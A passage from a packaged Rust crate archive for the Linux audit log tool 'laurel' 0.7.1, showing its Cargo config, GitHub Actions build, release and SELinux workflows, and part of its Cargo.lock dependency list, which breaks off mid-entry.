laurel-0.7.1/.cargo/config.toml000064400000000000000000000002231046102023000144250ustar 00000000000000[target."aarch64-unknown-linux-gnu"] linker = "aarch64-linux-gnu-gcc" [target."armv7-unknown-linux-gnueabihf"] linker = "arm-linux-gnueabihf-gcc" laurel-0.7.1/.cargo_vcs_info.json0000644000000001360000000000100123250ustar { "git": { "sha1": "583838de4c247e3b69988d926ea250620704c484" }, "path_in_vcs": "" }laurel-0.7.1/.github/FUNDING.yml000064400000000000000000000000361046102023000142710ustar 00000000000000github: [hillu, disasmwinnie] laurel-0.7.1/.github/workflows/build.yml000064400000000000000000000253451046102023000163450ustar 00000000000000on: push: paths: - src/** - audit-specs/** - syscall-tables/** - build.rs - Cargo.* - .github/workflows/build.yml pull_request: paths: - src/** - audit-specs/** - syscall-tables/** - build.rs - Cargo.* - .github/workflows/build.yml jobs: check-fmt: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - uses: actions-rs/toolchain@v1 with: toolchain: stable profile: minimal - run: cargo fmt --check build-test: runs-on: ubuntu-latest container: ubuntu:latest steps: - uses: actions/checkout@v2 - name: Install dependency run: | apt-get -qq update apt-get -qqy dist-upgrade apt-get -qqy install curl build-essential libclang-dev libacl1-dev libgoogle-perftools-dev - uses: actions-rs/toolchain@v1 with: toolchain: stable profile: minimal - uses: actions/cache@v3 with: path: | ~/.cargo/bin/ ~/.cargo/registry/index/ ~/.cargo/registry/cache/ ~/.cargo/git/db/ target/ key: "${{ runner.os }}-test-cargo-${{ hashFiles('**/Cargo.lock') }}" restore-keys: ${{ runner.os }}-test-cargo- - run: cargo build - run: cargo test --no-default-features - run: cargo test - run: cargo bench --no-run build-x86_64-gnu: needs: [ check-fmt, build-test ] runs-on: ubuntu-latest container: debian:bullseye steps: - uses: actions/checkout@v2 - name: Install dependency run: | apt-get -qq update apt-get -qqy dist-upgrade apt-get -qqy install curl build-essential libclang-dev libacl1-dev - uses: actions-rs/toolchain@v1 with: toolchain: stable profile: minimal - uses: actions/cache@v3 with: path: | ~/.cargo/bin/ ~/.cargo/registry/index/ ~/.cargo/registry/cache/ ~/.cargo/git/db/ target/ key: "${{ runner.os }}-x86_64-gnu-cargo-${{ hashFiles('**/Cargo.lock') }}" restore-keys: ${{ runner.os }}-cargo-x86_64-gnu- - name: Build run: cargo build --target=x86_64-unknown-linux-gnu --release - uses: actions/upload-artifact@v4 with: name: binaries-x86_64-gnu path: | target/*/release/laurel* !target/*/release/*.* if-no-files-found: error build-x86_64-musl: needs: [ check-fmt, build-test ] runs-on: ubuntu-latest container: alpine:3.21 steps: - uses: actions/checkout@v2 - name: Install dependency run: | apk add git ca-certificates tar rust cargo clang-dev acl-dev acl-static musl-dev linux-headers apk add binutils file - uses: actions/cache@v3 with: path: | ~/.cargo/bin/ ~/.cargo/registry/index/ ~/.cargo/registry/cache/ ~/.cargo/git/db/ target/ key: "${{ runner.os }}-x86_64-musl-cargo-${{ hashFiles('**/Cargo.lock') }}" restore-keys: ${{ runner.os }}-cargo-x86_64-musl- - name: Build run: | RUSTFLAGS='-C target-feature=+crt-static -L/usr/lib -l static=acl' \ cargo build --target x86_64-alpine-linux-musl --release - name: Show binary charcteristics run: | set -x file target/x86_64-alpine-linux-musl/release/laurel ldd target/x86_64-alpine-linux-musl/release/laurel objdump -x target/x86_64-alpine-linux-musl/release/laurel | grep NEEDED || true set +x if [ -n "$(objdump -x target/x86_64-alpine-linux-musl/debug/laurel | grep NEEDED)" ]; then echo "laurel is linked against shared libraries" >&2 exit 1 fi - uses: actions/upload-artifact@v4 with: name: binaries-x86_64-musl path: | target/*/release/laurel* !target/*/release/*.* if-no-files-found: error build-aarch64-gnu: needs: [ check-fmt, build-test ] runs-on: ubuntu-latest container: debian:bullseye steps: - uses: actions/checkout@v2 - name: Install dependency run: | dpkg --add-architecture arm64 apt-get -qq update apt-get -qqy dist-upgrade apt-get -qqy install curl build-essential libclang-dev gcc-aarch64-linux-gnu libacl1-dev:arm64 - uses: actions-rs/toolchain@v1 with: toolchain: stable profile: minimal target: aarch64-unknown-linux-gnu - uses: actions/cache@v3 with: path: | ~/.cargo/bin/ ~/.cargo/registry/index/ ~/.cargo/registry/cache/ ~/.cargo/git/db/ target/ key: "${{ runner.os }}-aarch64-gnu-cargo-${{ hashFiles('**/Cargo.lock') }}" restore-keys: ${{ runner.os }}-cargo-aarch64-gnu- - name: Build run: cargo build --target=aarch64-unknown-linux-gnu --release - uses: actions/upload-artifact@v4 with: name: binaries-aarch64-gnu path: | target/*/release/laurel* !target/*/release/*.* if-no-files-found: error build-armv7-gnueabihf: needs: [ check-fmt, build-test ] runs-on: ubuntu-latest container: debian:bullseye steps: - uses: actions/checkout@v2 - name: Install dependency run: | dpkg --add-architecture armhf apt-get -qq update apt-get -qqy dist-upgrade apt-get -qqy install curl build-essential libclang-dev gcc-arm-linux-gnueabihf libacl1-dev:armhf - uses: actions-rs/toolchain@v1 with: toolchain: stable profile: minimal target: armv7-unknown-linux-gnueabihf - uses: actions/cache@v3 with: path: | ~/.cargo/bin/ ~/.cargo/registry/index/ ~/.cargo/registry/cache/ ~/.cargo/git/db/ target/ key: "${{ runner.os }}-armv7-gnueabihf-cargo-${{ hashFiles('**/Cargo.lock') }}" restore-keys: ${{ runner.os }}-armv7-gnueabihf-cargo- - name: Build run: cargo build --target=armv7-unknown-linux-gnueabihf --release - uses: actions/upload-artifact@v4 with: name: binaries-armv7-gnueabihf path: | target/*/release/laurel* !target/*/release/*.* if-no-files-found: error build-man: runs-on: ubuntu-latest container: debian:bullseye steps: - uses: actions/checkout@v2 - name: Install dependency run: | apt-get -qq update apt-get -qqy dist-upgrade apt-get -qqy install make pandoc - run: make -C man - uses: actions/upload-artifact@v4 with: name: manpages path: | man/*.7 man/*.8 if-no-files-found: error build-tarballs: runs-on: ubuntu-latest needs: - build-x86_64-gnu - build-x86_64-musl - build-aarch64-gnu - build-armv7-gnueabihf - build-man steps: - uses: actions/checkout@v2 - uses: actions/download-artifact@v4 with: merge-multiple: true path: artifacts - name: Collect/Build run: | version="$(cargo read-manifest | jq -r '.version')" find -type f '(' -name laurel2audit -or -name laurel ')' for arch in x86_64-glibc x86_64-musl aarch64-glibc armv7-glibc; do tgt=${arch/-glibc/-unknown-linux-gnu} tgt=${tgt/-musl/-alpine-linux-musl} case $tgt in armv7*gnu) tgt=${tgt}eabihf ;; esac mkdir -p pack/laurel-$version-$arch/bin \ pack/laurel-$version-$arch/etc/{audit/plugins.d,laurel} \ pack/laurel-$version-$arch/man/man{7,8} \ pack/laurel-$version-$arch/doc install -m644 etc/audit/plugins.d/laurel.conf pack/laurel-$version-$arch/etc/audit/plugins.d/ install -m644 etc/laurel/config.toml pack/laurel-$version-$arch/etc/laurel/ install -m644 *.md pack/laurel-$version-$arch/doc/ install -m755 artifacts/$tgt/release/laurel* pack/laurel-$version-$arch/bin install -m644 artifacts/*.7 pack/laurel-$version-$arch/man/man7/ install -m644 artifacts/*.8 pack/laurel-$version-$arch/man/man8/ done cd pack find -mindepth 1 -maxdepth 1 -type d | xargs -ti tar -czf {}.tar.gz {} - uses: actions/upload-artifact@v4 with: name: tarballs path: pack/*.tar.gz compression-level: 0 if-no-files-found: error release: runs-on: ubuntu-latest needs: build-tarballs if: ${{ startsWith(github.ref, 'refs/tags/') }} steps: - uses: actions/checkout@v2 - name: Get Version id: get_version run: | version_git=$(echo "$GITHUB_REF" | sed -e 's/refs\/tags\///') version_cargo="v$(cargo read-manifest | jq -r '.version')" if [ "$version_git" != "$version_cargo" ]; then echo "git != cargo: $version_git != $version_cargo" >&2 exit 1 fi echo "git_version=$version_git" >> $GITHUB_OUTPUT - uses: actions/download-artifact@v4 with: name: tarballs - uses: softprops/action-gh-release@v2 with: files: laurel-*.tar.gz fail_on_unmatched_files: true draft: true build-container: runs-on: ubuntu-latest needs: - build-x86_64-musl steps: - uses: actions/checkout@v4 - uses: actions/download-artifact@v4 with: merge-multiple: true path: target - name: Edit configuration run: | sed -e 's#^input = .*#input = "unix:/var/run/audispd_events"#' etc/laurel/config.toml - uses: redhat-actions/buildah-build@v2 id: build-image with: image: laurel tags: "latest ${{ github.ref_name }} ${{ github.sha }}" containerfiles: ./Containerfile - uses: redhat-actions/podman-login@v1 if: ${{ github.ref_type == 'tag' }} with: registry: ghcr.io username: ${{ github.actor }} password: ${{ secrets.GITHUB_TOKEN }} - uses: redhat-actions/push-to-registry@v2 if: ${{ github.ref_type == 'tag' }} with: registry: ghcr.io/${{ github.repository_owner }} image: ${{ steps.build-image.outputs.image }} tags: ${{ steps.build-image.outputs.tags }} laurel-0.7.1/.github/workflows/selinux.yml000064400000000000000000000047141046102023000167320ustar 00000000000000on: push: paths: - contrib/selinux/* - .github/workflows/selinux.yml pull_request: paths: - contrib/selinux/* - .github/workflows/selinux.yml jobs: build-el8: runs-on: ubuntu-latest container: rockylinux:8 steps: - name: Prepare run: | dnf install -y selinux-policy-devel findutils - uses: actions/checkout@v2 - name: Build run: | make -C contrib/selinux AUDITD_VERSIONS=3 - name: Archive policy uses: actions/upload-artifact@v4 with: name: selinux-el8 path: contrib/selinux/laurel.pp build-el9: runs-on: ubuntu-latest container: rockylinux:9 steps: - name: Prepare run: | dnf install -y selinux-policy-devel findutils - uses: actions/checkout@v2 - name: Build run: | make -C contrib/selinux AUDITD_VERSIONS=3 - name: Archive policy uses: actions/upload-artifact@v4 with: name: selinux-el9 path: contrib/selinux/laurel.pp build-al2023: runs-on: ubuntu-latest container: amazonlinux:2023 steps: - name: Prepare run: | yum install -y selinux-policy-devel findutils tar - uses: actions/checkout@v2 - name: Build run: | make -C contrib/selinux AUDITD_VERSIONS=3 - name: Archive policy uses: actions/upload-artifact@v4 with: name: selinux-al2023 path: contrib/selinux/laurel.pp build-bookworm: runs-on: ubuntu-latest container: debian:bookworm-slim steps: - name: Prepare run: | apt-get -qqy update apt-get -qqy install selinux-policy-dev - uses: actions/checkout@v2 - name: Build run: | make -C contrib/selinux AUDITD_VERSIONS=3 - name: Archive policy uses: actions/upload-artifact@v4 with: name: selinux-bookworm path: contrib/selinux/laurel.pp build-jammy: runs-on: ubuntu-latest container: ubuntu:jammy steps: - name: Prepare run: | apt-get -qqy update apt-get -qqy install selinux-policy-dev - uses: actions/checkout@v2 - name: Build run: | make -C contrib/selinux AUDITD_VERSIONS=3 - name: Archive policy uses: actions/upload-artifact@v4 with: name: selinux-jammy path: contrib/selinux/laurel.pp laurel-0.7.1/.gitignore000064400000000000000000000000131046102023000130770ustar 00000000000000*~ /target laurel-0.7.1/Cargo.lock0000644000000712560000000000100103130ustar # This file is automatically @generated by Cargo. # It is not intended for manual editing. version = 3 [[package]] name = "addr2line" version = "0.24.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dfbe277e56a376000877090da837660b4427aad530e3028d44e0bffe4f89a1c1" dependencies = [ "gimli", ] [[package]] name = "adler2" version = "2.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "512761e0bb2578dd7380c6baaa0f4ce03e84f95e960231d1dec8bf4d7d6e2627" [[package]] name = "aho-corasick" version = "1.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916" dependencies = [ "memchr", ] [[package]] name = "anstyle" version = "1.0.10" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "55cc3b69f167a1ef2e161439aa98aed94e6028e5f9a59be9a6ffb47aef1651f9" [[package]] name = "anyhow" version = "1.0.97" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dcfed56ad506cb2c684a14971b8861fdc3baaaae314b9e5f9bb532cbe3ba7a4f" [[package]] name = "backtrace" version = "0.3.74" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8d82cb332cdfaed17ae235a638438ac4d4839913cc2af585c3c6746e8f8bee1a" dependencies = [ "addr2line", "cfg-if", "libc", "miniz_oxide", "object", "rustc-demangle", "windows-targets 0.52.6", ] [[package]] name = "bindgen" version = "0.71.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5f58bf3d7db68cfbac37cfc485a8d711e87e064c3d0fe0435b92f7a407f9d6b3" dependencies = [ "bitflags", "cexpr", "clang-sys", "itertools", "log", "prettyplease", "proc-macro2", "quote", "regex", "rustc-hash", "shlex", "syn", ] [[package]] name = "bitflags" version = "2.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5c8214115b7bf84099f1309324e63141d4c5d7cc26862f97a0a857dbefe165bd" [[package]] name = "byteorder" version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" [[package]] name = "caps" version = "0.5.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "190baaad529bcfbde9e1a19022c42781bdb6ff9de25721abdb8fd98c0807730b" dependencies = [ "libc", "thiserror 1.0.69", ] [[package]] name = "cexpr" version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766" dependencies = [ "nom", ] [[package]] name = "cfg-if" version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" [[package]] name = "cfg_aliases" version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724" [[package]] name = "clang-sys" version = "1.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0b023947811758c97c59bf9d1c188fd619ad4718dcaa767947df1cadb14f39f4" dependencies = [ "glob", "libc", "libloading", ] [[package]] name = "clap" version = "4.4.18" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1e578d6ec4194633722ccf9544794b71b1385c3c027efe0c55db226fc880865c" dependencies = [ "clap_builder", ] [[package]] name = "clap_builder" version = "4.4.18" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4df4df40ec50c46000231c914968278b1eb05098cf8f1b3a518a95030e71d1c7" dependencies = [ "anstyle", "clap_lex", "terminal_size", ] [[package]] name = "clap_lex" version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "702fc72eb24e5a1e48ce58027a675bc24edd52096d5397d4aea7c6dd9eca0bd1" [[package]] name = "colored" version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "117725a109d387c937a1533ce01b450cbde6b88abceea8473c4d7a85853cda3c" dependencies = [ "lazy_static", "windows-sys 0.59.0", ] [[package]] name = "condtype" version = "1.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "baf0a07a401f374238ab8e2f11a104d2851bf9ce711ec69804834de8af45c7af" [[package]] name = "darling" version = "0.20.10" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6f63b86c8a8826a49b8c21f08a2d07338eec8d900540f8630dc76284be802989" dependencies = [ "darling_core", "darling_macro", ] [[package]] name = "darling_core" version = "0.20.10" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "95133861a8032aaea082871032f5815eb9e98cef03fa916ab4500513994df9e5" dependencies = [ "fnv", "ident_case", "proc-macro2", "quote", "strsim", "syn", ] [[package]] name = "darling_macro" version = "0.20.10" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d336a2a514f6ccccaa3e09b02d41d35330c07ddf03a62165fcec10bb561c7806" dependencies = [ "darling_core", "quote", "syn", ] [[package]] name = "deranged" version = "0.3.11" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b42b6fa04a440b495c8b04d0e71b707c585f83cb9cb28cf8cd0d976c315e31b4" dependencies = [ "powerfmt", ] [[package]] name = "divan" version = "0.1.14" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a0d567df2c9c2870a43f3f2bd65aaeb18dbce1c18f217c3e564b4fbaeb3ee56c" dependencies = [ "cfg-if", "clap", "condtype", "divan-macros", "libc", "regex-lite", ] [[package]] name = "divan-macros" version = "0.1.14" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "27540baf49be0d484d8f0130d7d8da3011c32a44d4fc873368154f1510e574a2" dependencies = [ "proc-macro2", "quote", "syn", ] [[package]] name = "either" version = "1.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b7914353092ddf589ad78f25c5c1c21b7f80b0ff8621e7c814c3485b5306da9d" [[package]] name = "equivalent" version = "1.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" [[package]] name = "errno" version = "0.3.10" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "33d852cb9b869c2a9b3df2f71a3074817f01e1844f839a144f5fcef059a4eb5d" dependencies = [ "libc", "windows-sys 0.59.0", ] [[package]] name = "error-chain" version = "0.12.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2d2f06b9cac1506ece98fe3231e3cc9c4410ec3d5b1f24ae1c8946f0742cdefc" dependencies = [ "backtrace", "version_check", ] [[package]] name = "exacl" version = "0.12.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "22be12de19decddab85d09f251ec8363f060ccb22ec9c81bc157c0c8433946d8" dependencies = [ "bitflags", "log", "scopeguard", "uuid", ] [[package]] name = "faster-hex" version = "0.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7223ae2d2f179b803433d9c830478527e92b8117eab39460edae7f1614d9fb73" dependencies = [ "heapless", "serde", ] [[package]] name = "fnv" version = "1.0.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" [[package]] name = "getopts" version = "0.2.21" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "14dbbfd5c71d70241ecf9e6f13737f7b5ce823821063188d7e46c41d371eebd5" dependencies = [ "unicode-width", ] [[package]] name = "gimli" version = "0.31.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "07e28edb80900c19c28f1072f2e8aeca7fa06b23cd4169cefe1af5aa3260783f" [[package]] name = "glob" version = "0.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a8d1add55171497b4705a648c6b583acafb01d58050a51727785f0b2c8e0a2b2" [[package]] name = "gperftools" version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "20a3fc5818b1223ec628fc6998c8900486208b577f78c07500d4b52f983ebc9d" dependencies = [ "error-chain", "lazy_static", "pkg-config", ] [[package]] name = "hash32" version = "0.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "47d60b12902ba28e2730cd37e95b8c9223af2808df9e902d4df49588d1470606" dependencies = [ "byteorder", ] [[package]] name = "hashbrown" version = "0.15.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bf151400ff0baff5465007dd2f3e717f3fe502074ca563069ce3a6629d07b289" [[package]] name = "heapless" version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0bfb9eb618601c89945a70e254898da93b13be0388091d42117462b265bb3fad" dependencies = [ "hash32", "stable_deref_trait", ] [[package]] name = "hostname" version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f9c7c7c8ac16c798734b8a24560c1362120597c40d5e1459f09498f8f6c8f2ba" dependencies = [ "cfg-if", "libc", "windows", ] [[package]] name = "ident_case" version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" [[package]] name = "indexmap" version = "2.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8c9c992b02b5b4c94ea26e32fe5bccb7aa7d9f390ab5c1221ff895bc7ea8b652" dependencies = [ "equivalent", "hashbrown", "serde", ] [[package]] name = "itertools" version = "0.13.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "413ee7dfc52ee1a4949ceeb7dbc8a33f2d6c088194d9f922fb8318faf1f01186" dependencies = [ "either", ] [[package]] name = "itoa" version = "1.0.14" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d75a2a4b1b190afb6f5425f10f6a8f959d2ea0b9c2b1d79553551850539e4674" [[package]] name = "laurel" version = "0.7.1" dependencies = [ "anyhow", "bindgen", "caps", "divan", "exacl", "faster-hex", "getopts", "gperftools", "indexmap", "lazy_static", "libc", "linux-audit-parser", "log", "nix", "regex", "serde", "serde_bytes", "serde_json", "serde_with", "signal-hook", "simple_logger", "syslog", "thiserror 2.0.12", "tinyvec", "toml", ] [[package]] name = "lazy_static" version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" [[package]] name = "libc" version = "0.2.170" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "875b3680cb2f8f71bdcf9a30f38d48282f5d3c95cbf9b3fa57269bb5d5c06828" [[package]] name = "libloading" version = "0.8.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fc2f4eb4bc735547cfed7c0a4922cbd04a4655978c09b54f1f7b228750664c34" dependencies = [ "cfg-if", "windows-targets 0.52.6", ] [[package]] name = "linux-audit-parser" version = "0.2.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b0f38fe3f6b7e5382bb2204574b29cc996c3a7a525658fcb684099068cb5a1ef" dependencies = [ "indexmap", "lazy_static", "nom", "serde", "serde_with", "thiserror 2.0.12", "tinyvec", ] [[package]] name = "linux-raw-sys" version = "0.4.15" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab" [[package]] name = "log" version = "0.4.26" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "30bde2b3dc3671ae49d8e2e9f044c7c005836e7a023ee57cffa25ab82764bb9e" [[package]] name = "memchr" version = "2.7.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3" [[package]] name = "minimal-lexical" version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" [[package]] name = "miniz_oxide" version = "0.8.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8e3e04debbb59698c15bacbb6d93584a8c0ca9cc3213cb423d31f760d8843ce5" dependencies = [ "adler2", ] [[package]] name = "nix" version = "0.29.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46" dependencies = [ "bitflags", "cfg-if", "cfg_aliases", "libc", ] [[package]] name = "nom" version = "7.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" dependencies = [ "memchr", "minimal-lexical", ] [[package]] name = "num-conv" version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "51d515d32fb182ee37cda2ccdcb92950d6a3c2893aa280e540671c2cd0f3b1d9" [[package]] name = "num_threads" version = "0.1.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5c7398b9c8b70908f6371f47ed36737907c87c52af34c268fed0bf0ceb92ead9" dependencies = [ "libc", ] [[package]] name = "object" version = "0.36.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "62948e14d923ea95ea2c7c86c71013138b66525b86bdc08d2dcc262bdb497b87" dependencies = [ "memchr", ] [[package]] name = "pkg-config" version = "0.3.32" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c" [[package]] name = "powerfmt" version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" [[package]] name = "prettyplease" version = "0.2.29" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6924ced06e1f7dfe3fa48d57b9f74f55d8915f5036121bef647ef4b204895fac" dependencies = [ "proc-macro2", "syn", ] [[package]] name = "proc-macro2" version = "1.0.94" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a31971752e70b8b2686d7e46ec17fb38dad4051d94024c88df49b667caea9c84" dependencies = [ "unicode-ident", ] [[package]] name = "quote" version = "1.0.39" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c1f1914ce909e1658d9907913b4b91947430c7d9be598b15a1912935b8c04801" dependencies = [ "proc-macro2", ] [[package]] name = "regex" version = "1.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b544ef1b4eac5dc2db33ea63606ae9ffcfac26c1416a2806ae0bf5f56b201191" dependencies = [ "aho-corasick", "memchr", "regex-automata", "regex-syntax", ] [[package]] name = "regex-automata" version = "0.4.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "809e8dc61f6de73b46c85f4c96486310fe304c434cfa43669d7b40f711150908" dependencies = [ "aho-corasick", "memchr", "regex-syntax", ] [[package]] name = "regex-lite" version = "0.1.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "53a49587ad06b26609c52e423de037e7f57f20d53535d66e08c695f347df952a" [[package]] name = "regex-syntax" version = "0.8.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c" [[package]] name = "rustc-demangle" version = "0.1.24" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "719b953e2095829ee67db738b3bfa9fa368c94900df327b3f07fe6e794d2fe1f" [[package]] name = "rustc-hash" version = "2.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "357703d41365b4b27c590e3ed91eabb1b663f07c4c084095e60cbed4362dff0d" [[package]] name = "rustix" version = "0.38.44" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fdb5bc1ae2baa591800df16c9ca78619bf65c0488b41b96ccec5d11220d8c154" dependencies = [ "bitflags", "errno", "libc", "linux-raw-sys", "windows-sys 0.59.0", ] [[package]] name = "ryu" version = "1.0.19" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6ea1a2d0a644769cc99faa24c3ad26b379b786fe7c36fd3c546254801650e6dd" [[package]] name = "scopeguard" version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" [[package]] name = "serde" version = "1.0.218" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e8dfc9d19bdbf6d17e22319da49161d5d0108e4188e8b680aef6299eed22df60" dependencies = [ "serde_derive", ] [[package]] name = "serde_bytes" version = "0.11.16" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "364fec0df39c49a083c9a8a18a23a6bcfd9af130fe9fe321d18520a0d113e09e" dependencies = [ "serde", ] [[package]] name = "serde_derive" version = "1.0.218" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f09503e191f4e797cb8aac08e9a4a4695c5edf6a2e70e376d961ddd5c969f82b" dependencies = [ "proc-macro2", "quote", "syn", ] [[package]] name = "serde_json" version = "1.0.140" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "20068b6e96dc6c9bd23e01df8827e6c7e1f2fddd43c21810382803c136b99373" dependencies = [ "indexmap", "itoa", "memchr", "ryu", "serde", ] [[package]] name = "serde_spanned" version = "0.6.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "87607cb1398ed59d48732e575a4c28a7a8ebf2454b964fe3f224f2afc07909e1" dependencies = [ "serde", ] [[package]] name = "serde_with" version = "3.12.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d6b6f7f2fcb69f747921f79f3926bd1e203fce4fef62c268dd3abfb6d86029aa" dependencies = [ "serde", "serde_derive", "serde_with_macros", ] [[package]] name = "serde_with_macros" version = "3.12.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8d00caa5193a3c8362ac2b73be6b9e768aa5a4b2f721d8f4b339600c3cb51f8e" dependencies = [ "darling", "proc-macro2", "quote", "syn", ] [[package]] name = "shlex" version = "1.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" [[package]] name = "signal-hook" version = "0.3.17" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8621587d4798caf8eb44879d42e56b9a93ea5dcd315a6487c357130095b62801" dependencies = [ "libc", "signal-hook-registry", ] [[package]] name = "signal-hook-registry" version = "1.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a9e9e0b4211b72e7b8b6e85c807d36c212bdb33ea8587f7569562a84df5465b1" dependencies = [ "libc", ] [[package]] name = "simple_logger" version = "5.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e8c5dfa5e08767553704aa0ffd9d9794d527103c736aba9854773851fd7497eb" dependencies = [ "colored", "log", "time", "windows-sys 0.48.0", ] [[package]] name = "stable_deref_trait" version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3" [[package]] name = "strsim" version = "0.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" [[package]] name = "syn" version = "2.0.99" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = 